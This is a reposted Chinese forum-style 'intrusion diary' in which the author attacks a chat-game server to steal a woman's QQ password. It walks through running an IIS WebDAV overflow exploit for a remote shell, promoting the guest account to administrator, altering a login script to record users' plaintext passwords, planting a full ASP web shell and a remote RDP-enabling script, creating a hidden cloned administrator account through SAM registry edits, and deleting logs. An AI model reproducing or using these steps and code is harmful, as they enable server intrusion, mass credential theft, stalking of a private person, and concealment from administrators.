首页 电脑 电脑学堂 查看内容

入侵日记一则

2004-9-29 20:05 805 0

摘要: Nick name:oorin0(oo0o,Xrin0)Email:[email protected] or [email protected] QQ:33353290阅读人群:网络安全初学者真不知道她现在过...
关键词: 00 密码 WSCRIPT offset 01 192.168 Server xajh CreateObject 用户

Nick name:oorin0(oo0o,Xrin0)Email:[email protected] or [email protected] QQ:33353290阅读人群:网络安全初学者真不知道她现在过的怎么样,不过作为朋友,还是应该关心一下她的QQ上到底有哪些色狼:P,所以决定盗她的QQ密码.呵呵..好吧,现在切入正题,得到密码通常的方案有如下几种:1.直接入侵腾讯服务器 (疯子)2.在网吧安一个木马,再骗她去上网,呵呵...... (唉,好象她从来没有和我单独在一起过,明显讨厌我:)由于普通用户的EMAIL.QQ.聊天室密码(包括江湖) 大多一样,或者有简易变形,而聊天室,江湖网络较Tencent网络脆弱,因此,又可以有以下几种方案:3.WEB破解邮箱密码 (她没有mail...)4.网络欺骗,在自己的网站上安装聊天室,叫她来上网:) (可惜我没有网站)5.通过对聊天室以及江湖服务器的攻击,来获得目标的密码.看来现在只有入侵网站,目标锁定为 xajh.xxx.comc:\>Pinging xajh.xxx.com [192.168.0.1] with 32 bytes of daReply from 192.168.0.1: bytes=32 time=111ms TTL=125Reply from 192.168.0.1: bytes=32 time=102ms TTL=125Reply from 192.168.0.1: bytes=32 time=99ms TTL=125Reply from 192.168.0.1: bytes=32 time=96ms TTL=125Ping statistics for 192.168.0.1:Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:Minimum = 96ms, Maximum = 111ms, Average = 102ms//得到对方IP为 192.168.0.1C:\>telnet 192.168.0.1 80GET [Enter]HTTP/1.1 400 Bad RequestServer: Microsoft-IIS/5.0Date: Wed, 16 Apr 2003 11:18:38 GMTContent-Type: text/htmlContent-Length: 87ErrorThe parameter is incorrect. 失去了跟主机的连接。原来是Windows 2000,恩,试试Webdavx漏洞,到www.xfocus.net 下了isno写的 Webdavx3.rar//Server: Microsoft-IIS/5.0 说明是windows 2000 如果是5.1 是xp ,4.0 是ntC:\>webdavx3 192.168.0.1IIS WebDAV overflow remote exploit by [email protected] to try offset,if STOP a long time, you can press ^C and telnet 192.168.0.1 7788try offset: 0try offset: 1try offset: 2try offset: 3try offset: 4try offset: 5try offset: 6try offset: 7try offset: 8try offset: 9try offset: 10try offset: 11try offset: 12try offset: 13try offset: 14try offset: 15try offset: 16try offset: 17try offset: 18try offset: 19try offset: -1try offset: -2try offset: -3waiting for iis restart....................... (IIS在这里重起了,等一会)try offset: -4 //程序运行到这里停顿下来了,再开一个CMD,C:\>telnet 192.168.0.1 7788192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA(UNKNOWN) [192.168.0.1] 7788 (?) openMicrosoft Windows 2000 [Version 5.00.2195](C) 版权所有 1985-2000 Microsoft Corp.C:\WINNT\system32>net user guest /active:y //激活guest帐户命令成功完成。C:\WINNT\system32>net user guest password123 //设置guest帐户密码为password123命令成功完成。C:\WINNT\system32>net localgroup administrators guest /add //将guest帐户加到administrators组命令成功完成。看看3389开了没有C:\>telnet 192.168.0.1 3389GET [Enter]_ //看到了等待符,说明开了.很好,用终端服务客户端连上对方计算机,打开"管理工具"->"计算机管理"->"服务和应用程序"->点击"Internet 信息服务" ,发现系统长时间没有反应..//在这里可以方便的知道对方WEB程序的物理路径C:\>telnet 192.168.0.1 80正在连接到192.168.0.1...不能打开到主机的连接, 在端口 80.由于目标机器积极拒绝,无法连接。//不能连接80端口,说明Webdavx溢出成功后,使IIS死掉了.先不管它,打开"搜索",查找一切有"xajh"字样的文件.//找WEB程序物理路径的另一方法,除此以外还有命令行中的 dir/s 等终于找到了,物理路径为d:\www\xajh\ .找到江湖的说明文件d:\www\xajh\说明文件.txt,发现江湖的数据库为c:\www\xajh\h3cw\hc3w_xajh.asp,将其复制一个为 d:\www\xajh\error.mdb.回到自己的机子上下载http://xajh.xxx.com/error.mdb,打开一看,竟然只有1MB!? 看来被改过了,重新连接192.168.0.1的终端服务,发现d:\www\xajh\h3cs\zjh595.asp这个文件有13.6MB ,应该是它了吧,于是复制为d:\www\xajh\error1.mdb,然后回到自己的机子上下http://xajh.xxx.com/error1.mdb下载完后,应该马上删http://xajh.xxx.com/error.mdb http://xajh.xxx.com/error1.mdb 以免引起网管注意.打开一看,竟然没有给access数据库加密码,呵呵.....!!! 再一看,咦,怎么所有的用户的密码都这样复杂~,查看d:\www\xajh\说明文件.txt 知道原来其用了MD5加密(现在的聊天室大多这样).由于暴力破解的困难性,想到了使用嗅探器,但是嗅探器会占用大量带宽,还是容易引起有经验的管理员怀疑,于是决定使用WEB欺骗,注意到刚才已经使IIS死了,需要重启IIS.//c:\>net start w3svc提示因未知原因服务不能启动看来只有重新启动计算机了.这里需要考虑到重新启动后,3389是否会开启(通常情况下,IIS会自动启动,但是终端服务可能会关闭)法一:打开"控制面板"->"管理工具"->"服务" 找到 "Terminal Services" 双击,将"启动类型"改为"自动"找到 "World Wide Web Publishing" 双击,看是否为"自动"若均为"自动" 重启计算机后,IIS和终端服务都会自动启动.法二:打开共享,具体请参看iqst的>c:\>net share没有启动 Server 服务。是否可以启动? (Y/N) [Y]: yServer 服务正在启动 .Server 服务已经启动成功。共享名 资源 注释-----------------------------------------------------IPC$ 远程 IPCD$ D:\ 默认共享G$ G:\ 默认共享F$ F:\ 默认共享ADMIN$ D:\WINDOWS 远程管理C$ C:\ 默认共享E$ E:\ 默认共享运用脚本打开终端服务,具体请参看caozhe(草哲)的>c:\>cscript rots.vbe 192.168.0.1 guest "password123" 3389 /fr等待几分钟后,系统重启......好了,现在回到正题,目标是江湖密码,但是它使用了md5加密,因此需要使用WEB欺骗,于是先用access建了一个xajhlogo.mdb 数据库表为"用户密码",有三个段分别为"用户名","密码","oicq",然后修改为xajhlogo.gif.自己的机子上开一ftp服务(可用tftp32) 在对方机子上c:\>tftp -i 127.0.0.1 get xajhlogo.gif xajhlogo.gif //127.0.0.1为我的IP然后复制到 c:\www\xajh\images\xajhlogo.gif //减小可能被管理员怀疑的危险系数然后开始动手修改程序d:\www\xajh\check.asp 此文件为这个版本的江湖的校验文件.我修改后的内容如下.........name=Trim(Request("name"))password=Trim(Request("pass"))''上面是原来就有的.........Set conn=Server.CreateObject("ADODB.CONNECTION")Set rs=Server.CreateObject("ADODB.RecordSet")conn.open Application("sjjh_usermdb")password1=md5(password)sql="SELECT * FROM 用户 WHERE 姓名=''"&name&"''"rs.open sql,conn,2,2if rs.Eof and rs.Bof thenrs.closeset rs=nothingconn.closeset conn=nothingResponse.Redirect "error.asp?id=423"response.endend ifif rs("密码")password1 thenrs.closeset rs=nothingconn.closeset conn=nothingResponse.Redirect "error.asp?id=141"response.endend if''这一段其实是我修改了原来的江湖程序直接粘在这儿的,懒~ 不过需要注意到这里要用"password1" 不然后面''的密码验证的时候将成为 password=md5(md5(password)) ,这样就出错了.useroicq=rs("oicq")rs.closeset rs=nothingconn.closeset conn=nothingset conn=Server.CreateObject("ADODB.Connection")DBPath=Server.MapPath("images/xajhlogo.webp")Set rs=Server.CreateObject("ADODB.RecordSet")conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPathrs.open "SELECT * FROM 用户密码 WHERE 用户名=''" & name & "''",connIf not(Rs.Bof OR Rs.Eof) Thensql="Update 用户密码 Set 密码=''" & password & "''" & "where 用户名=''" & name & "''"conn.Execute sqlrs.closeset rs=nothingconn.closeset conn=nothing elsesql="Insert Into 用户密码 (用户名,密码,oicq) Values("sql=sql & "''" & name & "''" & ","sql=sql & "''" & password & "''" & ","sql=sql & "''" & useroicq & "''" & ")"conn.Execute sqlrs.closeset rs=nothingconn.closeset conn=nothingend if.............''我上面加的程序都是在对方操作江湖数据库之前的,这样是为了防止同时操作两个数据库时出错''下面就是对方第一段开始操作数据库的程序''由于大家都是菜鸟,所以一点经验之谈就是,先在自己机子上测试好了,再传!!!Set conn=Server.CreateObject("ADODB.CONNECTION")Set rs=Server.CreateObject("ADODB.RecordSet")conn.open Application("sjjh_usermdb").........至此,漫长的等待开始了............15 道数学题过后.........现在激动人心的时刻到来了,下载http://xajh.xxx.com/images/xajhlogo.gif.改为 1.mdb 打开之后...........找到了她----- *** 的密码,哈哈,她的密码果然和QQ密码一样^O^经过测试(前100个密码,实有1237个用户密码), 竟然有5个人的QQ密码和江湖密码一样(由于用户的QQ号可能是乱填,因此可能更多,最好的办法,跟他们聊聊问问QQ号:D),对QQ密码的重视程度看来也不是很大,估计也没有申请密码保护,试了试,有2个人没有申请,呵呵.........开心吧:)至此,既高兴又伤心,高兴的是我得到了她的密码,伤心的是有N多的互联网用户对密码的重视程度或者密码安全意识薄弱(有的密码很复杂,但是QQ密码和聊天室密码仍然一样),还好,我不是恋Q狂^-^好,现在是后门,安一个cmd.asp 到 d:\www\xajh\images\config.asp.代码见附录,可以通http://xajh.xxx.com/images/config.asp 执行WEB命令大家一定注意到我没有使用克隆的管理员帐号,是因为由于克隆的管理员帐员都使用了同样的profiles,因此如果你不小心留了点什么记录(比如有些人喜欢在运行那打命令),那样会很容易引起管理员发现.因此慎用克隆的管理员帐号,但还是应该建立一个隐藏的管理员帐号作为后门.先建立 InternetUser$ 用户c:\>net user InternetUser$ password123 /add//后面加$ 是为了使在 控制台下用 net user 看不到.然后运行regedt32.exe(注意不是regedit.exe)先找到HKEY_LOCAL_MAICHINE\SAM\SAM 点击它 ,然后在菜单"安全"->"权限" 添加自己现在登录的帐户或组,把"权限"->"完全控制"->"允许"打上勾,然后确定.(比如刚才我们用guest登录,但它已经是administrators组的了,因此需要把ADMINISTRATORS组的也改为允许完全控制,而且下面的键,Domains,account,user都要逐级这样做.但如果前面没有更改guest用户的默认组,这里就没必要这么麻烦,一级一级的了)这样就可以直接读取本地sam的信息现在运行regedit.exe打开键 HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\InternetUser$查看默认键值为"0x3f1" 相应导出如下HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\ASPNET$ 为InternetUser$.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1 为 3f1.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 为 lf4.reg (Administrators的相应键)用记事本打开lf4.reg 找到如下的"F"的值,比如这个例子中如下"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\00,00,00,00,00,00,00把其复制后,打开3f1.reg,找到"F"的值,将其删除,然后把上面的那段粘贴.打开aspnet$.reg,把里面的内容,比如这个例子中如下面这段复制[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\InternetUser$]@=hex(3f1):回到3f1.reg 粘贴上面这段到文件最后,最后生成的文件内容如下Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1]"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\00,00,00,00,00,00,00"V"=hex:00,00,00,00,d4,00,00,00,02,00,01,00,d4,00,00,00,1a,00,00,00,00,00,00,\00,f0,00,00,00,10,00,00,00,00,00,00,00,00,01,00,00,12,00,00,00,00,00,00,00,\14,01,00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,\01,00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,01,\00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,01,00,\00,00,00,00,00,00,00,00,00,14,01,00,00,15,00,00,00,a8,00,00,00,2c,01,00,00,\08,00,00,00,01,00,00,00,34,01,00,00,14,00,00,00,00,00,00,00,48,01,00,00,14,\00,00,00,00,00,00,00,5c,01,00,00,04,00,00,00,00,00,00,00,60,01,00,00,04,00,\00,00,00,00,00,00,01,00,14,80,b4,00,00,00,c4,00,00,00,14,00,00,00,44,00,00,\00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\00,00,00,00,02,c0,14,00,ff,07,0f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,\00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,00,00,01,00,00,\00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,\00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,\00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,b4,b7,cd,22,dd,\e8,e4,1c,be,04,3e,32,e8,03,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,\00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,48,00,65,00,6c,00,70,\00,41,00,73,00,73,00,69,00,73,00,74,00,61,00,6e,00,74,00,00,00,dc,8f,0b,7a,\4c,68,62,97,a9,52,4b,62,10,5e,37,62,d0,63,9b,4f,dc,8f,0b,7a,4f,53,a9,52,84,\76,10,5e,37,62,01,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\ff,ff,ff,88,d7,f1,01,02,00,00,07,00,00,00,01,00,01,00,db,57,a2,94,f8,41,63,\fa,2c,88,d7,f1,cd,99,cf,0d,01,00,01,00,a0,05,70,54,f3,45,3e,4a,64,95,ef,6c,\37,f1,02,cf,01,00,01,00,01,00,01,00[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\InternetUser$]@=hex(3f1):保存后,将InternetUser$用户删除c:\>net user InternetUser$ /delete运行regedit.exe 将我们已经修改好的3f1.reg文件导入.最后,打开regedt32.exe 找到HKEY_LOCAL_MAICHINE\SAM\SAM 点击它 ,然后在菜单"安全"->"权限" 删除刚才添加的用户(比如刚才刚才是用的guest,而且改了Administrators组的设置,所以与前面对应,Administratos组也要改,而且SAM下面的键,Domains,account,user都要逐级这样做,但如果前面没有改guest用户的默认组,这里没必要这么麻烦,一级一级的了).这样,我们就建立了一个在控制台用 net user 和"计算机管理"中都看不到的帐户InternetUser$,但是不能改密码,一改密码就会在"计算机管理"中看到.需要注意的一点是,每次登录(不论是不是克隆的),都最好注销掉,而不是直接关闭窗口,否则在"终端服务管理器"中会看到,而且管理员登录后注销时,可能会发现一个问题就是,怎么会是"注销InternetUser$..."!!! (我克隆了两个帐号,测试的,没有测试过Administrators)然后是记录清理,由于整个过程有下载的过程被记录,因此,运行logfiles,删除相关文件中的记录即可.本人水平糟糕,一定有错误和遗漏的地方,这文都改了N次,所以望高手批评指正.附录:--------------------------------------------------以下是asp后门,存为 cmd.aspDim oScriptDim oScriptNetDim oFileSys, oFileDim szCMD, szTempFileOn Error Resume Next'' -- create the COM objects that we will be using -- ''Set oScript = Server.CreateObject("WSCRIPT.SHELL")Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'' -- check for a command that we have posted -- ''szCMD = Request.Form(".CMD")If (szCMD "") Then'' -- Use a poor man''s pipe ... a temp file -- ''szTempFile = "C:\" & oFileSys.GetTempName( )Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)End If%>" method="POST">">If (IsObject(oFile)) Then'' -- Read the output from our command and remove the temp file -- ''On Error Resume NextResponse.Write Server.HTMLEncode(oFile.ReadAll)oFile.CloseCall oFileSys.DeleteFile(szTempFile, True)End If%>----------------------------------------------------------------------以下是开终端的脚本,引自caozhe(草哲) 的>,把它存为rots.vbeon error resume nextset outstreem=wscript.stdoutset instreem=wscript.stdinif (lcase(right(wscript.fullname,11))="wscript.exe") thenset objShell=wscript.createObject("wscript.shell")objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))wscript.quitend ifif wscript.arguments.countusage()wscript.echo "Not enough parameters."wscript.quitend ifipaddress=wscript.arguments(0)username=wscript.arguments(1)password=wscript.arguments(2)if wscript.arguments.count>3 thenport=wscript.arguments(3)elseport=3389end ifif not isnumeric(port) or port65000 thenwscript.echo "The number of port is error."wscript.quitend ifif wscript.arguments.count>4 thenreboot=wscript.arguments(4)elsereboot=""end ifusage()outstreem.write "Conneting "&ipaddress&" ...."set objlocator=createobject("wbemscripting.swbemlocator")set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)showerror(err.number)objswbemservices.security_.privileges.add 23,trueobjswbemservices.security_.privileges.add 18,trueoutstreem.write "Checking OS type...."set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")for each objinstoscaption in colinstoscaptionif instr(objinstoscaption.caption,"Server")>0 thenwscript.echo "OK!"elsewscript.echo "OS type is "&objinstoscaption.captionoutstreem.write "Do you want to cancel setup?[y/n]"strcancel=instreem.readlineif lcase(strcancel)"n" then wscript.quitend ifnextoutstreem.write "Writing into registry ...."set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")HKLM=&h80000002HKU=&h80000003with objinstreg.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache".setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer".setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1".setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",portend withshowerror(err.number)rebt=lcase(reboot)flag=0if rebt="/r" or rebt="-r" or rebt="\r" then flag=2if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6if flag0 thenoutstreem.write "Now, reboot target...."strwqlquery="select * from win32_operatingsystem where primary=''true''"set colinstances=objswbemservices.execquery(strwqlquery)for each objinstance in colinstancesobjinstance.win32shutdown(flag)nextshowerror(err.number)elsewscript.echo "You need to reboot target."&vbcrlf&"Then,"end ifwscript.echo "You can logon terminal services on "&port&" later. Good luck!"function showerror(errornumber)if errornumber Thenwscript.echo "Error 0x"&cstr(hex(err.number))&" ."if err.description "" thenwscript.echo "Error description: "&err.description&"."end ifwscript.quitelsewscript.echo "OK!"end ifend functionfunction usage()wscript.echo string(79,"*")wscript.echo "ROTS v1.05"wscript.echo "Remote Open Terminal services Script, by 草哲"wscript.echo "Welcome to visite www.5458.net"wscript.echo "Usage:"wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"wscript.echo "port: default number is 3389."wscript.echo "/r: auto reboot target."wscript.echo "/fr: auto force reboot target."wscript.echo string(79,"*")&vbcrlfend functionroot注:本文对于网络安全初学者而言,或许会有帮助,虽然采用的方法比较简单,但有助于了解攻击者的思路和方法流程,当然,不是鼓励大家这么干:)
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部